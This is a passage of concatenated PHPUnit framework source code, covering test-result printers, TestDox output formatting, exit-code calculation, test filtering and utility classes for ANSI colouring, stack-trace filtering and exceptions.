bg-green', sprintf( 'OK (%d test%s, %d assertion%s)', $result->numberOfTestsRun(), $result->numberOfTestsRun() === 1 ? '' : 's', $result->numberOfAssertions(), $result->numberOfAssertions() === 1 ? '' : 's', ), ); $this->printNumberOfIssuesIgnoredByBaseline($result); return; } $color = 'fg-black, bg-yellow'; if ($result->wasSuccessful()) { if ($result->hasIssues()) { $this->printWithColor( $color, 'OK, but there were issues!', ); } else { $this->printWithColor( $color, 'OK, but some tests were skipped!', ); } } else { if ($result->hasTestErroredEvents() || $result->hasTestTriggeredPhpunitErrorEvents()) { $color = 'fg-white, bg-red'; $this->printWithColor( $color, 'ERRORS!', ); } elseif ($result->hasTestFailedEvents()) { $color = 'fg-white, bg-red'; $this->printWithColor( $color, 'FAILURES!', ); } } $this->printCountString($result->numberOfTestsRun(), 'Tests', $color, true); $this->printCountString($result->numberOfAssertions(), 'Assertions', $color, true); $this->printCountString($result->numberOfErrors(), 'Errors', $color); $this->printCountString($result->numberOfTestFailedEvents(), 'Failures', $color); $this->printCountString($result->numberOfPhpunitWarnings(), 'PHPUnit Warnings', $color); $this->printCountString($result->numberOfWarnings(), 'Warnings', $color); $this->printCountString($result->numberOfPhpOrUserDeprecations(), 'Deprecations', $color); $this->printCountString($result->numberOfPhpunitDeprecations(), 'PHPUnit Deprecations', $color); $this->printCountString($result->numberOfNotices(), 'Notices', $color); $this->printCountString($result->numberOfTestSuiteSkippedEvents() + $result->numberOfTestSkippedEvents(), 'Skipped', $color); $this->printCountString($result->numberOfTestMarkedIncompleteEvents(), 'Incomplete', $color); $this->printCountString($result->numberOfTestsWithTestConsideredRiskyEvents(), 'Risky', $color); $this->printWithColor($color, '.'); $this->printNumberOfIssuesIgnoredByBaseline($result); } private function printCountString(int $count, string $name, string $color, bool $always = false): void { if ($always || $count > 0) { $this->printWithColor( $color, sprintf( '%s%s: %d', $this->countPrinted ? ', ' : '', $name, $count, ), false, ); $this->countPrinted = true; } } private function printWithColor(string $color, string $buffer, bool $lf = true): void { if ($this->colors) { $buffer = Color::colorizeTextBox($color, $buffer); } $this->printer->print($buffer); if ($lf) { $this->printer->print(PHP_EOL); } } private function printNumberOfIssuesIgnoredByBaseline(TestResult $result): void { if ($result->hasIssuesIgnoredByBaseline()) { $this->printer->print( sprintf( '%s%d issue%s %s ignored by baseline.%s', PHP_EOL, $result->numberOfIssuesIgnoredByBaseline(), $result->numberOfIssuesIgnoredByBaseline() > 1 ? 's' : '', $result->numberOfIssuesIgnoredByBaseline() > 1 ? 'were' : 'was', PHP_EOL, ), ); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Output\TestDox; use const PHP_EOL; use function array_map; use function assert; use function explode; use function implode; use function preg_match; use function preg_split; use function rtrim; use function str_starts_with; use function trim; use PHPUnit\Event\Code\Throwable; use PHPUnit\Framework\TestStatus\TestStatus; use PHPUnit\Logging\TestDox\TestResult as TestDoxTestResult; use PHPUnit\Logging\TestDox\TestResultCollection; use PHPUnit\TextUI\Output\Printer; use PHPUnit\Util\Color; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ResultPrinter { private readonly Printer $printer; private readonly bool $colors; public function __construct(Printer $printer, bool $colors) { $this->printer = $printer; $this->colors = $colors; } /** * @psalm-param array $tests */ public function print(array $tests): void { foreach ($tests as $prettifiedClassName => $_tests) { $this->printPrettifiedClassName($prettifiedClassName); foreach ($_tests as $test) { $this->printTestResult($test); } $this->printer->print(PHP_EOL); } } /** * @psalm-param string $prettifiedClassName */ private function printPrettifiedClassName(string $prettifiedClassName): void { $buffer = $prettifiedClassName; if ($this->colors) { $buffer = Color::colorizeTextBox('underlined', $buffer); } $this->printer->print($buffer . PHP_EOL); } private function printTestResult(TestDoxTestResult $test): void { $this->printTestResultHeader($test); $this->printTestResultBody($test); } private function printTestResultHeader(TestDoxTestResult $test): void { $buffer = ' ' . $this->symbolFor($test->status()) . ' '; if ($this->colors) { $this->printer->print( Color::colorizeTextBox( $this->colorFor($test->status()), $buffer, ), ); } else { $this->printer->print($buffer); } $this->printer->print($test->test()->testDox()->prettifiedMethodName($this->colors) . PHP_EOL); } private function printTestResultBody(TestDoxTestResult $test): void { if ($test->status()->isSuccess()) { return; } if (!$test->hasThrowable()) { return; } $this->printTestResultBodyStart($test); $this->printThrowable($test); $this->printTestResultBodyEnd($test); } private function printTestResultBodyStart(TestDoxTestResult $test): void { $this->printer->print( $this->prefixLines( $this->prefixFor('start', $test->status()), '', ), ); $this->printer->print(PHP_EOL); } private function printTestResultBodyEnd(TestDoxTestResult $test): void { $this->printer->print(PHP_EOL); $this->printer->print( $this->prefixLines( $this->prefixFor('last', $test->status()), '', ), ); $this->printer->print(PHP_EOL); } private function printThrowable(TestDoxTestResult $test): void { $throwable = $test->throwable(); assert($throwable instanceof Throwable); $message = trim($throwable->description()); $stackTrace = $this->formatStackTrace($throwable->stackTrace()); $diff = ''; if (!empty($message) && $this->colors) { ['message' => $message, 'diff' => $diff] = $this->colorizeMessageAndDiff( $message, $this->messageColorFor($test->status()), ); } if (!empty($message)) { $this->printer->print( $this->prefixLines( $this->prefixFor('message', $test->status()), $message, ), ); $this->printer->print(PHP_EOL); } if (!empty($diff)) { $this->printer->print( $this->prefixLines( $this->prefixFor('diff', $test->status()), $diff, ), ); $this->printer->print(PHP_EOL); } if (!empty($stackTrace)) { if (!empty($message) || !empty($diff)) { $prefix = $this->prefixFor('default', $test->status()); } else { $prefix = $this->prefixFor('trace', $test->status()); } $this->printer->print( $this->prefixLines($prefix, PHP_EOL . $stackTrace), ); } } /** * @psalm-return array{message: string, diff: string} */ private function colorizeMessageAndDiff(string $buffer, string $style): array { $lines = $buffer ? array_map('\rtrim', explode(PHP_EOL, $buffer)) : []; $message = []; $diff = []; $insideDiff = false; foreach ($lines as $line) { if ($line === '--- Expected') { $insideDiff = true; } if (!$insideDiff) { $message[] = $line; } else { if (str_starts_with($line, '-')) { $line = Color::colorize('fg-red', Color::visualizeWhitespace($line, true)); } elseif (str_starts_with($line, '+')) { $line = Color::colorize('fg-green', Color::visualizeWhitespace($line, true)); } elseif ($line === '@@ @@') { $line = Color::colorize('fg-cyan', $line); } $diff[] = $line; } } $message = implode(PHP_EOL, $message); $diff = implode(PHP_EOL, $diff); if (!empty($message)) { $message = Color::colorizeTextBox($style, $message); } return [ 'message' => $message, 'diff' => $diff, ]; } private function formatStackTrace(string $stackTrace): string { if (!$this->colors) { return rtrim($stackTrace); } $lines = []; $previousPath = ''; foreach (explode(PHP_EOL, $stackTrace) as $line) { if (preg_match('/^(.*):(\d+)$/', $line, $matches)) { $lines[] = Color::colorizePath($matches[1], $previousPath) . Color::dim(':') . Color::colorize('fg-blue', $matches[2]) . "\n"; $previousPath = $matches[1]; continue; } $lines[] = $line; $previousPath = ''; } return rtrim(implode('', $lines)); } private function prefixLines(string $prefix, string $message): string { return implode( PHP_EOL, array_map( static fn (string $line) => ' ' . $prefix . ($line ? ' ' . $line : ''), preg_split('/\r\n|\r|\n/', $message), ), ); } /** * @psalm-param 'default'|'start'|'message'|'diff'|'trace'|'last' $type */ private function prefixFor(string $type, TestStatus $status): string { if (!$this->colors) { return '│'; } return Color::colorize( $this->colorFor($status), match ($type) { 'default' => '│', 'start' => '┐', 'message' => '├', 'diff' => '┊', 'trace' => '╵', 'last' => '┴', }, ); } private function colorFor(TestStatus $status): string { if ($status->isSuccess()) { return 'fg-green'; } if ($status->isError()) { return 'fg-yellow'; } if ($status->isFailure()) { return 'fg-red'; } if ($status->isSkipped()) { return 'fg-cyan'; } if ($status->isIncomplete() || $status->isDeprecation() || $status->isNotice() || $status->isRisky() || $status->isWarning()) { return 'fg-yellow'; } return 'fg-blue'; } private function messageColorFor(TestStatus $status): string { if ($status->isSuccess()) { return ''; } if ($status->isError()) { return 'bg-yellow,fg-black'; } if ($status->isFailure()) { return 'bg-red,fg-white'; } if ($status->isSkipped()) { return 'fg-cyan'; } if ($status->isIncomplete() || $status->isDeprecation() || $status->isNotice() || $status->isRisky() || $status->isWarning()) { return 'fg-yellow'; } return 'fg-white,bg-blue'; } private function symbolFor(TestStatus $status): string { if ($status->isSuccess()) { return '✔'; } if ($status->isError() || $status->isFailure()) { return '✘'; } if ($status->isSkipped()) { return '↩'; } if ($status->isDeprecation() || $status->isNotice() || $status->isRisky() || $status->isWarning()) { return '⚠'; } if ($status->isIncomplete()) { return '∅'; } return '?'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use PHPUnit\TestRunner\TestResult\TestResult; use PHPUnit\TextUI\Configuration\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ShellExitCodeCalculator { private const SUCCESS_EXIT = 0; private const FAILURE_EXIT = 1; private const EXCEPTION_EXIT = 2; public function calculate(Configuration $configuration, TestResult $result): int { $failOnDeprecation = false; $failOnPhpunitDeprecation = false; $failOnPhpunitWarning = false; $failOnEmptyTestSuite = false; $failOnIncomplete = false; $failOnNotice = false; $failOnRisky = false; $failOnSkipped = false; $failOnWarning = false; if ($configuration->failOnAllIssues()) { $failOnDeprecation = true; $failOnPhpunitDeprecation = true; $failOnPhpunitWarning = true; $failOnEmptyTestSuite = true; $failOnIncomplete = true; $failOnNotice = true; $failOnRisky = true; $failOnSkipped = true; $failOnWarning = true; } if ($configuration->failOnDeprecation()) { $failOnDeprecation = true; } if ($configuration->doNotFailOnDeprecation()) { $failOnDeprecation = false; } if ($configuration->failOnPhpunitDeprecation()) { $failOnPhpunitDeprecation = true; } if ($configuration->doNotFailOnPhpunitDeprecation()) { $failOnPhpunitDeprecation = false; } if ($configuration->failOnPhpunitWarning()) { $failOnPhpunitWarning = true; } if ($configuration->doNotFailOnPhpunitWarning()) { $failOnPhpunitWarning = false; } if ($configuration->failOnEmptyTestSuite()) { $failOnEmptyTestSuite = true; } if ($configuration->doNotFailOnEmptyTestSuite()) { $failOnEmptyTestSuite = false; } if ($configuration->failOnIncomplete()) { $failOnIncomplete = true; } if ($configuration->doNotFailOnIncomplete()) { $failOnIncomplete = false; } if ($configuration->failOnNotice()) { $failOnNotice = true; } if ($configuration->doNotFailOnNotice()) { $failOnNotice = false; } if ($configuration->failOnRisky()) { $failOnRisky = true; } if ($configuration->doNotFailOnRisky()) { $failOnRisky = false; } if ($configuration->failOnSkipped()) { $failOnSkipped = true; } if ($configuration->doNotFailOnSkipped()) { $failOnSkipped = false; } if ($configuration->failOnWarning()) { $failOnWarning = true; } if ($configuration->doNotFailOnWarning()) { $failOnWarning = false; } $returnCode = self::FAILURE_EXIT; if ($result->wasSuccessful()) { $returnCode = self::SUCCESS_EXIT; } if ($failOnEmptyTestSuite && !$result->hasTests()) { $returnCode = self::FAILURE_EXIT; } if ($failOnDeprecation && $result->hasPhpOrUserDeprecations()) { $returnCode = self::FAILURE_EXIT; } if ($failOnPhpunitDeprecation && $result->hasPhpunitDeprecations()) { $returnCode = self::FAILURE_EXIT; } if ($failOnPhpunitWarning && $result->hasPhpunitWarnings()) { $returnCode = self::FAILURE_EXIT; } if ($failOnIncomplete && $result->hasIncompleteTests()) { $returnCode = self::FAILURE_EXIT; } if ($failOnNotice && $result->hasNotices()) { $returnCode = self::FAILURE_EXIT; } if ($failOnRisky && $result->hasRiskyTests()) { $returnCode = self::FAILURE_EXIT; } if ($failOnSkipped && $result->hasSkippedTests()) { $returnCode = self::FAILURE_EXIT; } if ($failOnWarning && $result->hasWarnings()) { $returnCode = self::FAILURE_EXIT; } if ($result->hasErrors()) { $returnCode = self::EXCEPTION_EXIT; } return $returnCode; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use function mt_srand; use PHPUnit\Event; use PHPUnit\Framework\TestSuite; use PHPUnit\Runner\ResultCache\ResultCache; use PHPUnit\Runner\TestSuiteSorter; use PHPUnit\TextUI\Configuration\Configuration; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestRunner { /** * @throws RuntimeException */ public function run(Configuration $configuration, ResultCache $resultCache, TestSuite $suite): void { try { Event\Facade::emitter()->testRunnerStarted(); if ($configuration->executionOrder() === TestSuiteSorter::ORDER_RANDOMIZED) { mt_srand($configuration->randomOrderSeed()); } if ($configuration->executionOrder() !== TestSuiteSorter::ORDER_DEFAULT || $configuration->executionOrderDefects() !== TestSuiteSorter::ORDER_DEFAULT || $configuration->resolveDependencies()) { $resultCache->load(); (new TestSuiteSorter($resultCache))->reorderTestsInSuite( $suite, $configuration->executionOrder(), $configuration->resolveDependencies(), $configuration->executionOrderDefects(), ); Event\Facade::emitter()->testSuiteSorted( $configuration->executionOrder(), $configuration->executionOrderDefects(), $configuration->resolveDependencies(), ); } (new TestSuiteFilterProcessor)->process($configuration, $suite); Event\Facade::emitter()->testRunnerExecutionStarted( Event\TestSuite\TestSuiteBuilder::from($suite), ); $suite->run(); Event\Facade::emitter()->testRunnerExecutionFinished(); Event\Facade::emitter()->testRunnerFinished(); } catch (Throwable $t) { throw new RuntimeException( $t->getMessage(), (int) $t->getCode(), $t, ); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI; use function array_map; use PHPUnit\Event; use PHPUnit\Framework\TestSuite; use PHPUnit\Runner\Filter\Factory; use PHPUnit\TextUI\Configuration\Configuration; use PHPUnit\TextUI\Configuration\FilterNotConfiguredException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TestSuiteFilterProcessor { /** * @throws Event\RuntimeException * @throws FilterNotConfiguredException */ public function process(Configuration $configuration, TestSuite $suite): void { $factory = new Factory; if (!$configuration->hasFilter() && !$configuration->hasGroups() && !$configuration->hasExcludeGroups() && !$configuration->hasTestsCovering() && !$configuration->hasTestsUsing()) { return; } if ($configuration->hasExcludeGroups()) { $factory->addExcludeGroupFilter( $configuration->excludeGroups(), ); } if ($configuration->hasGroups()) { $factory->addIncludeGroupFilter( $configuration->groups(), ); } if ($configuration->hasTestsCovering()) { $factory->addIncludeGroupFilter( array_map( static fn (string $name): string => '__phpunit_covers_' . $name, $configuration->testsCovering(), ), ); } if ($configuration->hasTestsUsing()) { $factory->addIncludeGroupFilter( array_map( static fn (string $name): string => '__phpunit_uses_' . $name, $configuration->testsUsing(), ), ); } if ($configuration->hasFilter()) { $factory->addNameFilter( $configuration->filter(), ); } $suite->injectFilter($factory); Event\Facade::emitter()->testSuiteFiltered( Event\TestSuite\TestSuiteBuilder::from($suite), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Cloner { /** * @psalm-template OriginalType of object * * @psalm-param OriginalType $original * * @psalm-return OriginalType */ public static function clone(object $original): object { try { return clone $original; } catch (Throwable) { return $original; } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const DIRECTORY_SEPARATOR; use const PHP_EOL; use function array_map; use function count; use function explode; use function implode; use function max; use function min; use function preg_replace; use function preg_replace_callback; use function preg_split; use function sprintf; use function str_pad; use function strtr; use function trim; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Color { /** * @psalm-var array */ private const WHITESPACE_MAP = [ ' ' => '·', "\t" => '⇥', ]; /** * @psalm-var array */ private const WHITESPACE_EOL_MAP = [ ' ' => '·', "\t" => '⇥', "\n" => '↵', "\r" => '⟵', ]; /** * @psalm-var array */ private static array $ansiCodes = [ 'reset' => '0', 'bold' => '1', 'dim' => '2', 'dim-reset' => '22', 'underlined' => '4', 'fg-default' => '39', 'fg-black' => '30', 'fg-red' => '31', 'fg-green' => '32', 'fg-yellow' => '33', 'fg-blue' => '34', 'fg-magenta' => '35', 'fg-cyan' => '36', 'fg-white' => '37', 'bg-default' => '49', 'bg-black' => '40', 'bg-red' => '41', 'bg-green' => '42', 'bg-yellow' => '43', 'bg-blue' => '44', 'bg-magenta' => '45', 'bg-cyan' => '46', 'bg-white' => '47', ]; public static function colorize(string $color, string $buffer): string { if (trim($buffer) === '') { return $buffer; } $codes = array_map('\trim', explode(',', $color)); $styles = []; foreach ($codes as $code) { if (isset(self::$ansiCodes[$code])) { $styles[] = self::$ansiCodes[$code] ?? ''; } } if (empty($styles)) { return $buffer; } return self::optimizeColor(sprintf("\x1b[%sm", implode(';', $styles)) . $buffer . "\x1b[0m"); } public static function colorizeTextBox(string $color, string $buffer): string { $lines = preg_split('/\r\n|\r|\n/', $buffer); $padding = max(array_map('\strlen', $lines)); $styledLines = []; foreach ($lines as $line) { $styledLines[] = self::colorize($color, str_pad($line, $padding)); } return implode(PHP_EOL, $styledLines); } public static function colorizePath(string $path, ?string $previousPath = null, bool $colorizeFilename = false): string { if ($previousPath === null) { $previousPath = ''; } $path = explode(DIRECTORY_SEPARATOR, $path); $previousPath = explode(DIRECTORY_SEPARATOR, $previousPath); for ($i = 0; $i < min(count($path), count($previousPath)); $i++) { if ($path[$i] === $previousPath[$i]) { $path[$i] = self::dim($path[$i]); } } if ($colorizeFilename) { $last = count($path) - 1; $path[$last] = preg_replace_callback( '/([\-_.]+|phpt$)/', static fn ($matches) => self::dim($matches[0]), $path[$last], ); } return self::optimizeColor(implode(self::dim(DIRECTORY_SEPARATOR), $path)); } public static function dim(string $buffer): string { if (trim($buffer) === '') { return $buffer; } return "\e[2m{$buffer}\e[22m"; } public static function visualizeWhitespace(string $buffer, bool $visualizeEOL = false): string { $replaceMap = $visualizeEOL ? self::WHITESPACE_EOL_MAP : self::WHITESPACE_MAP; return preg_replace_callback( '/\s+/', static fn ($matches) => self::dim(strtr($matches[0], $replaceMap)), $buffer, ); } private static function optimizeColor(string $buffer): string { return preg_replace( [ "/\e\\[22m\e\\[2m/", "/\e\\[([^m]*)m\e\\[([1-9][0-9;]*)m/", "/(\e\\[[^m]*m)+(\e\\[0m)/", ], [ '', "\e[$1;$2m", '$2', ], $buffer, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ interface Exception extends Throwable { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use function sprintf; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidDirectoryException extends RuntimeException implements Exception { public function __construct(string $directory) { parent::__construct( sprintf( '"%s" is not a directory', $directory, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidJsonException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use function sprintf; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvalidVersionOperatorException extends RuntimeException implements Exception { public function __construct(string $operator) { parent::__construct( sprintf( '"%s" is not a valid version_compare() operator', $operator, ), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\PHP; use PHPUnit\Util\Exception; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class PhpProcessException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Xml; use PHPUnit\Util\Exception; use RuntimeException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class XmlException extends RuntimeException implements Exception { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const PHP_OS_FAMILY; use function class_exists; use function defined; use function dirname; use function is_dir; use function realpath; use function str_starts_with; use function sys_get_temp_dir; use Composer\Autoload\ClassLoader; use DeepCopy\DeepCopy; use PharIo\Manifest\Manifest; use PharIo\Version\Version as PharIoVersion; use PhpParser\Parser; use PHPUnit\Framework\TestCase; use ReflectionClass; use SebastianBergmann\CliParser\Parser as CliParser; use SebastianBergmann\CodeCoverage\CodeCoverage; use SebastianBergmann\CodeUnit\CodeUnit; use SebastianBergmann\CodeUnitReverseLookup\Wizard; use SebastianBergmann\Comparator\Comparator; use SebastianBergmann\Complexity\Calculator; use SebastianBergmann\Diff\Diff; use SebastianBergmann\Environment\Runtime; use SebastianBergmann\Exporter\Exporter; use SebastianBergmann\FileIterator\Facade as FileIteratorFacade; use SebastianBergmann\GlobalState\Snapshot; use SebastianBergmann\Invoker\Invoker; use SebastianBergmann\LinesOfCode\Counter; use SebastianBergmann\ObjectEnumerator\Enumerator; use SebastianBergmann\ObjectReflector\ObjectReflector; use SebastianBergmann\RecursionContext\Context; use SebastianBergmann\Template\Template; use SebastianBergmann\Timer\Timer; use SebastianBergmann\Type\TypeName; use SebastianBergmann\Version; use TheSeer\Tokenizer\Tokenizer; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class ExcludeList { /** * @psalm-var array */ private const EXCLUDED_CLASS_NAMES = [ // composer ClassLoader::class => 1, // myclabs/deepcopy DeepCopy::class => 1, // nikic/php-parser Parser::class => 1, // phar-io/manifest Manifest::class => 1, // phar-io/version PharIoVersion::class => 1, // phpunit/phpunit TestCase::class => 2, // phpunit/php-code-coverage CodeCoverage::class => 1, // phpunit/php-file-iterator FileIteratorFacade::class => 1, // phpunit/php-invoker Invoker::class => 1, // phpunit/php-text-template Template::class => 1, // phpunit/php-timer Timer::class => 1, // sebastian/cli-parser CliParser::class => 1, // sebastian/code-unit CodeUnit::class => 1, // sebastian/code-unit-reverse-lookup Wizard::class => 1, // sebastian/comparator Comparator::class => 1, // sebastian/complexity Calculator::class => 1, // sebastian/diff Diff::class => 1, // sebastian/environment Runtime::class => 1, // sebastian/exporter Exporter::class => 1, // sebastian/global-state Snapshot::class => 1, // sebastian/lines-of-code Counter::class => 1, // sebastian/object-enumerator Enumerator::class => 1, // sebastian/object-reflector ObjectReflector::class => 1, // sebastian/recursion-context Context::class => 1, // sebastian/type TypeName::class => 1, // sebastian/version Version::class => 1, // theseer/tokenizer Tokenizer::class => 1, ]; /** * @psalm-var list */ private static array $directories = []; private static bool $initialized = false; private readonly bool $enabled; /** * @psalm-param non-empty-string $directory * * @throws InvalidDirectoryException */ public static function addDirectory(string $directory): void { if (!is_dir($directory)) { throw new InvalidDirectoryException($directory); } self::$directories[] = realpath($directory); } public function __construct(?bool $enabled = null) { if ($enabled === null) { $enabled = !defined('PHPUNIT_TESTSUITE'); } $this->enabled = $enabled; } /** * @psalm-return list */ public function getExcludedDirectories(): array { self::initialize(); return self::$directories; } public function isExcluded(string $file): bool { if (!$this->enabled) { return false; } self::initialize(); foreach (self::$directories as $directory) { if (str_starts_with($file, $directory)) { return true; } } return false; } private static function initialize(): void { if (self::$initialized) { return; } foreach (self::EXCLUDED_CLASS_NAMES as $className => $parent) { if (!class_exists($className)) { continue; } $directory = (new ReflectionClass($className))->getFileName(); for ($i = 0; $i < $parent; $i++) { $directory = dirname($directory); } self::$directories[] = $directory; } /** * Hide process isolation workaround on Windows: * tempnam() prefix is limited to first 3 characters. * * @see https://php.net/manual/en/function.tempnam.php */ if (PHP_OS_FAMILY === 'Windows') { // @codeCoverageIgnoreStart self::$directories[] = sys_get_temp_dir() . '\\PHP'; // @codeCoverageIgnoreEnd } self::$initialized = true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use function is_array; use function is_scalar; use SebastianBergmann\RecursionContext\Context; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @deprecated */ final class Exporter { public static function export(mixed $value, bool $exportObjects = false): string { if (self::isExportable($value) || $exportObjects) { return (new \SebastianBergmann\Exporter\Exporter)->export($value); } return '{enable export of objects to see this value}'; } private static function isExportable(mixed &$value, ?Context $context = null): bool { if (is_scalar($value) || $value === null) { return true; } if (!is_array($value)) { return false; } if (!$context) { $context = new Context; } if ($context->contains($value) !== false) { return true; } $array = $value; $context->add($value); foreach ($array as &$_value) { if (!self::isExportable($_value, $context)) { return false; } } return true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const DIRECTORY_SEPARATOR; use function basename; use function dirname; use function is_dir; use function mkdir; use function realpath; use function str_starts_with; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Filesystem { public static function createDirectory(string $directory): bool { return !(!is_dir($directory) && !@mkdir($directory, 0o777, true) && !is_dir($directory)); } /** * @psalm-param non-empty-string $path * * @return false|non-empty-string */ public static function resolveStreamOrFile(string $path): false|string { if (str_starts_with($path, 'php://') || str_starts_with($path, 'socket://')) { return $path; } $directory = dirname($path); if (is_dir($directory)) { return realpath($directory) . DIRECTORY_SEPARATOR . basename($path); } return false; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use function array_unshift; use function defined; use function in_array; use function is_file; use function realpath; use function sprintf; use function str_starts_with; use PHPUnit\Framework\Exception; use PHPUnit\Framework\PhptAssertionFailedError; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Filter { /** * @throws Exception */ public static function getFilteredStacktrace(Throwable $t, bool $unwrap = true): string { $filteredStacktrace = ''; if ($t instanceof PhptAssertionFailedError) { $eTrace = $t->syntheticTrace(); $eFile = $t->syntheticFile(); $eLine = $t->syntheticLine(); } elseif ($t instanceof Exception) { $eTrace = $t->getSerializableTrace(); $eFile = $t->getFile(); $eLine = $t->getLine(); } else { if ($unwrap && $t->getPrevious()) { $t = $t->getPrevious(); } $eTrace = $t->getTrace(); $eFile = $t->getFile(); $eLine = $t->getLine(); } if (!self::frameExists($eTrace, $eFile, $eLine)) { array_unshift( $eTrace, ['file' => $eFile, 'line' => $eLine], ); } $prefix = defined('__PHPUNIT_PHAR_ROOT__') ? __PHPUNIT_PHAR_ROOT__ : false; $excludeList = new ExcludeList; foreach ($eTrace as $frame) { if (self::shouldPrintFrame($frame, $prefix, $excludeList)) { $filteredStacktrace .= sprintf( "%s:%s\n", $frame['file'], $frame['line'] ?? '?', ); } } return $filteredStacktrace; } private static function shouldPrintFrame(array $frame, false|string $prefix, ExcludeList $excludeList): bool { if (!isset($frame['file'])) { return false; } $file = $frame['file']; $fileIsNotPrefixed = $prefix === false || !str_starts_with($file, $prefix); // @see https://github.com/sebastianbergmann/phpunit/issues/4033 if (isset($GLOBALS['_SERVER']['SCRIPT_NAME'])) { $script = realpath($GLOBALS['_SERVER']['SCRIPT_NAME']); } else { $script = ''; } return $fileIsNotPrefixed && $file !== $script && self::fileIsExcluded($file, $excludeList) && is_file($file); } private static function fileIsExcluded(string $file, ExcludeList $excludeList): bool { return (empty($GLOBALS['__PHPUNIT_ISOLATION_EXCLUDE_LIST']) || !in_array($file, $GLOBALS['__PHPUNIT_ISOLATION_EXCLUDE_LIST'], true)) && !$excludeList->isExcluded($file); } private static function frameExists(array $trace, string $file, int $line): bool { foreach ($trace as $frame) { if (isset($frame['file'], $frame['line']) && $frame['file'] === $file && $frame['line'] === $line) { return true; } } return false; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util; use const PHP_MAJOR_VERSION; use const PHP_MINOR_VERSION; use function array_keys; use function array_reverse; use function array_shift; use function defined; use function get_defined_constants; use function get_included_files; use function in_array; use function ini_get_all; use function is_array; use function is_file; use function is_scalar; use function preg_match; use function serialize; use function sprintf; use function str_ends_with; use function str_starts_with; use function strtr; use function var_export; use Closure; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class GlobalState { /** * @psalm-var list */ private const SUPER_GLOBAL_ARRAYS = [ '_ENV', '_POST', '_GET', '_COOKIE', '_SERVER', '_FILES', '_REQUEST', ]; /** * @psalm-var array> */ private const DEPRECATED_INI_SETTINGS = [ '7.3' => [ 'iconv.input_encoding' => true, 'iconv.output_encoding' => true, 'iconv.internal_encoding' => true, 'mbstring.func_overload' => true, 'mbstring.http_input' => true, 'mbstring.http_output' => true, 'mbstring.internal_encoding' => true, 'string.strip_tags' => true, ], '7.4' => [ 'iconv.input_encoding' => true, 'iconv.output_encoding' => true, 'iconv.internal_encoding' => true, 'mbstring.func_overload' => true, 'mbstring.http_input' => true, 'mbstring.http_output' => true, 'mbstring.internal_encoding' => true, 'pdo_odbc.db2_instance_name' => true, 'string.strip_tags' => true, ], '8.0' => [ 'iconv.input_encoding' => true, 'iconv.output_encoding' => true, 'iconv.internal_encoding' => true, 'mbstring.http_input' => true, 'mbstring.http_output' => true, 